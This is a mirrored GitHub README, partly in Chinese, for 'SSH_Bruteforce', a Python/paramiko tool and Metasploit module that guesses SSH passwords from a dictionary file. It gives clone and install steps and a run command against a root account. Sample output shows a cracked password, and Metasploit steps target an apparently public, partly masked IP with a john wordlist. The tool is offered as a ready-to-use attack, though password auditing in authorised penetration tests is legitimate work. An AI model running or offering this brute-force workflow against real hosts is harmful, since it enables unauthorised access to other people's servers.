Code Monkey home page Code Monkey logo

ssh_bruteforce's Introduction

SSH_Bruteforce

运行方式:终端下运行脚本,或在MSF中作为模块运行

获取项目

git clone https://github.com/HZzz2/SSH_Bruteforce

进入目录和安装第三方库

cd SSH_Bruteforce
pip install paramiko

获取帮助

python SSH_Bruteforce.py -h
usage: SSH_Bruteforce.py [-h] -H HOST -u USER -f FILE -t THREAD

exmple: python3 SSH_Bruteforce.py -H 192.168.1.180 -u root -f password.txt -t 10

optional arguments:

  -h, --help            show this help message and exit

  -H HOST, --host HOST  Hostname/IP       要爆破的主机IP

  -u USER, --user USER  Username          SSH用户名

  -f FILE, --file FILE  Password file     密码字典

  -t THREAD, --thread THREAD              线程数
    Thread number

1.Python脚本运行

执行脚本

python SSH_Bruteforce.py -H 192.168.1.180 -u root -f password.txt -t 9
[-] 123221 is not correct
[-] 442342 is not correct
[-] 842482 is not correct
[-] 524253 is not correct
[-] 224224 is not correct
[-] 724731 is not correct
[+] 123456 is correct
SSH PassWord:123456

出现paramiko ssh banner错误不影响程序运行(线程过高的原因,推荐不高于10线程)

2.MSF模块运行

将MSF模块复制到根目录下

cp MyModules / -r

给模块添加执行权限

└─# chmod 755 /MyModules/modules/auxiliary/scanner/ssh/MSF_SSH_Bruteforce.py

启动MSF

msfdb run

加载模块目录并使用

msf6 > loadpath /MyModules/modules 
msf6 > use auxiliary/scanner/ssh/MSF_SSH_Bruteforce 

设置相关参数

image

msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set rhosts 7.XX.XX.18
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set user_name rXXt
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set file /usr/share/commix/src/txt/passwords_john.txt

运行模块

msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > exploit 

image

ssh_bruteforce's People

Contributors

hzzz2 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Forkers

5l1v3r1

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.